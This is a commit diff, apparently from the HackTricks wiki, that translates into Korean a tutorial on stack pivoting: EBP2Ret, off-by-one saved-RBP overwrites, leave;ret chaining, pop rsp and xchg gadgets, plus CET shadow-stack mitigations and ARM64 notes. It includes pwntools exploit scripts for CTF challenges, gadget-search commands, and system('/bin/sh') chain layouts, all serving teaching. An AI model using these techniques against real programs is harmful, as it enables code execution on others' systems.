Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:51 +00:00
parent 95fd8df2b4
commit fd0d256713

View File

@ -4,59 +4,63 @@
## 기본 정보
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
이 기술은 **기본 포인터 (EBP/RBP)**를 조작하여 프레임 포인터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
상기 사항으로, x86/x86-64에서 **`leave`**는 다음과 같습니다:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
And as the saved **EBP/RBP는 스택에** 저장된 EIP/RIP 앞에 있기 때문에, 스택을 제어함으로써 이를 제어할 수 있습니다.
> Notes
> - 64비트에서는 EBP→RBP 및 ESP→RSP로 교체합니다. 의미는 동일합니다.
> - 일부 컴파일러는 프레임 포인터를 생략합니다(“EBP가 사용되지 않을 수 있음” 참조). 이 경우 `leave`가 나타나지 않을 수 있으며 이 기술은 작동하지 않습니다.
### EBP2Ret
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
이 기술은 **저장된 EBP/RBP를 변경할 수 있지만 EIP/RIP를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수 종료 동작을 활용합니다.
`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 저장한 주소를 가리키게 합니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드/ROP 체인 주소가 있는 메모리 영역을 가리키게 하면(amd64에서는 8바이트, x86에서는 4바이트를 더하여 `pop`을 고려), 간접적으로 RIP를 제어할 수 있습니다. 함수가 반환되면 `leave`가 RSP를 조작된 위치로 설정하고, 이후 `pop rbp`가 RSP를 감소시켜 **공격자가 그곳에 저장한 주소를 가리키게 합니다**. 그런 다음 `ret`은 그 주소를 사용합니다.
**2개의 주소를 알아야 한다는 점에 유의하세요**: ESP/RSP가 이동할 주소와 `ret`이 사용할 그 주소에 저장된 값입니다.
#### Exploit Construction
먼저, **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가리키고 **첫 번째 `ret`을 실행합니다.**
먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. RSP는 여기로 가리키고 **첫 번째 `ret`을 소비합니다**.
다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
런 다음, **실행을 전송할** `ret`에서 사용할 주소를 선택해야 합니다. 다음을 사용할 수 있습니다:
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 bits).
- **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
- 일부 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
- 적절한 반환 및 인수 뒤에 오는 **`system()`**의 주소(x86에서는 `ret` 대상 = `&system`, 그 다음 4개의 쓰레기 바이트, 그 다음 `&"/bin/sh"`).
- 인라인 쉘코드 뒤에 오는 **`jmp esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)).
- 쓰기 가능한 메모리에 스테이징된 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
이러한 주소들 앞에는 **`leave`에서의 `pop ebp/rbp`를 위한 공간**이 있어야 합니다(amd64에서는 8B, x86에서는 4B). 이러한 바이트를 악용하여 **두 번째 가짜 EBP**를 설정하고 첫 번째 호출이 반환된 후에도 제어를 유지할 수 있습니다.
#### Off-By-One Exploit
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
저장된 EBP/RBP의 가장 낮은 바이트만 **수정할 수 있는 경우**에 사용되는 변형이 있습니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 원래 EBP/RBP와 처음 세 개/다섯 개의 바이트를 공유해야 하므로 1바이트 덮어쓰기가 이를 리디렉션할 수 있습니다. 일반적으로 낮은 바이트(오프셋 0x00)는 가능한 한 멀리 점프하기 위해 증가합니다.
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 RSP가 슬레드 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것도 일반적입니다.
### **EBP Chaining**
### EBP Chaining
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.**
스택의 저장된 `EBP` 슬롯에 제어된 주소를 배치하고 `EIP/RIP``leave; ret` 가젯을 배치함으로써 **`ESP/RSP`를 공격자가 제어하는 주소로 이동**할 수 있습니다.
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
이제 `RSP`가 제어되고 다음 명령은 `ret`입니다. 제어된 메모리에 다음과 같은 것을 배치합니다:
- **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
- **`system()`** -> `ret`에 의해 호출됩니다.
- **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
- **`&("/bin/sh")`**-> `system`의 매개변수입니다.
- `&(다음 가짜 EBP)` -> `leave`에서 `pop ebp/rbp`로 로드됩니다.
- `&system()` -> `ret`에 의해 호출됩니다.
- `&(leave;ret)` -> `system`이 끝난 후 RSP를 다음 가짜 EBP로 이동하고 계속합니다.
- `&("/bin/sh")` -> `system`의 인수입니다.
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
이렇게 하면 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서 흥미로울 수 있습니다.
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만 더 복잡하며 엣지 케이스에서만 유용합니다.
또한, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
게다가, 여기에서 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python
from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP는 사용되지 않을 수 있음
> amd64 정렬 팁: System V ABI는 호출 지점에서 16바이트 스택 정렬을 요구합니다. 체인이 `system`과 같은 함수를 호출하는 경우, 정렬을 유지하고 `movaps` 충돌을 피하기 위해 호출 전에 정렬 가젯(예: `ret` 또는 `sub rsp, 8 ; ret`)을 추가하세요.
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
## EBP는 사용되지 않을 수 있습니다
- **최적화되지 않음:**
[**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화 또는 프레임 포인터 생략으로 컴파일된 경우, **EBP/RBP는 ESP/RSP를 제어하지 않습니다**. 따라서 EBP/RBP를 제어하여 작동하는 모든 익스플로잇은 프로롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문에 실패합니다.
- 최적화되지 않음 / 프레임 포인터 사용:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **최적화됨:**
- 최적화됨 / 프레임 포인터 생략:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
## RSP 제어의 다른 방법
On amd64에서는 `leave ; ret` 대신에 `pop rbp ; ret`를 자주 볼 수 있지만, 프레임 포인터가 완전히 생략되면 피벗할 `rbp` 기반 에필로그가 없습니다.
### **`pop rsp`** 가젯
## RSP를 제어하는 다른 방법
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누출**이 있었습니다:
### `pop rsp` 가젯
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 그 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했고, **`pop rsp` 가젯**이 있었으며 **스택에서의 leak**가 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -175,26 +182,73 @@ xchg <reg>, rsp
```
### jmp esp
ret2esp 기에 대한 내용은 여기에서 확인하세요:
ret2esp 기에 대한 내용은 여기에서 확인하세요:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
### 피벗 가젯을 빠르게 찾기
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 다시 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
좋아하는 가젯 찾기 도구를 사용하여 고전적인 피벗 프리미티브를 검색하세요:
- `leave ; ret` 함수 또는 라이브러리에서
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (또는 x86에서 `add esp, <imm> ; ret`)
예시:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### 고전적인 피벗 스테이징 패턴
많은 CTF/익스플로잇에서 사용되는 강력한 피벗 전략:
1) 작은 초기 오버플로우를 사용하여 `read`/`recv`를 큰 쓰기 가능한 영역(예: `.bss`, 힙 또는 매핑된 RW 메모리)으로 호출하고 그곳에 전체 ROP 체인을 배치합니다.
2) 피벗 가젯(`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`)으로 돌아가 RSP를 해당 영역으로 이동합니다.
3) 스테이지 체인을 계속 진행합니다(예: libc 누출, `mprotect` 호출, 그런 다음 `read` 셸코드, 그 후 점프).
## 스택 피벗을 무력화하는 현대적 완화책 (CET/섀도우 스택)
현대 x86 CPU와 OS는 점점 더 **CET 섀도우 스택(SHSTK)**을 배포합니다. SHSTK가 활성화되면, `ret`는 일반 스택의 반환 주소와 하드웨어로 보호된 섀도우 스택을 비교합니다; 불일치가 발생하면 제어 보호 오류가 발생하고 프로세스가 종료됩니다. 따라서 EBP2Ret/leave;ret 기반 피벗과 같은 기술은 피벗된 스택에서 첫 번째 `ret`가 실행되는 즉시 충돌합니다.
- 배경 및 더 깊은 세부정보는 다음을 참조하십시오:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- 리눅스에서의 빠른 확인:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- 실습/CTF 노트:
- 일부 최신 배포판은 하드웨어 및 glibc 지원이 있을 때 CET 지원 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해 SHSTK는 커널 부트 매개변수 `nousershstk`를 통해 시스템 전체에서 비활성화할 수 있으며, 시작 시 glibc 조정으로 선택적으로 활성화할 수 있습니다(참조 참조). 프로덕션 대상에서 완화 조치를 비활성화하지 마십시오.
- JOP/COOP 또는 SROP 기반 기술은 여전히 일부 대상에서 유효할 수 있지만, SHSTK는 특히 `ret` 기반 피벗을 깨뜨립니다.
- Windows 노트: Windows 10+는 사용자 모드를 노출하고 Windows 11은 그림자 스택을 기반으로 한 커널 모드 "하드웨어 강제 스택 보호"를 추가합니다. CET 호환 프로세스는 `ret`에서 스택 피벗/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 선택적으로 활성화합니다(참조 참조).
## ARM64
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다.
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에 SP 레지스터를 저장하거나 검색하지 않습니다**. 또한, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고, **`x30`** 내부의 주소로 반환합니다.
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 제어할 방법이 필요합니다.
- 프롤로그
@ -213,12 +267,23 @@ ret
```
> [!CAUTION]
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 **제어할 수 있는 것**입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 수행하는 것입니다.
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다(어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**로 이동하는 것입니다.
다음 페이지에서도 **ARM64에서의 Ret2esp**의 동등한 내용을 확인할 수 있습니다:
다음 페이지에서 **ARM64의 Ret2esp**에 해당하는 내용을 볼 수 있습니다:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 비트, ret sled로 시작하는 오프 바이 원 익스플로잇
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 비트, relro, canary, nx 및 pie 없음. 프로그램은 스택 또는 pie에 대한 누출과 qword의 WWW를 제공합니다. 먼저 스택 누출을 얻고 WWW를 사용하여 다시 돌아가서 pie 누출을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
- 리눅스 커널 문서: 제어 흐름 강화 기술(CET) 그림자 스택 — SHSTK, `nousershstk`, `/proc/$PID/status` 플래그 및 `arch_prctl`을 통한 활성화에 대한 세부정보. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: 커널 모드 하드웨어 강제 스택 보호(CET 그림자 스택이 Windows에서). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}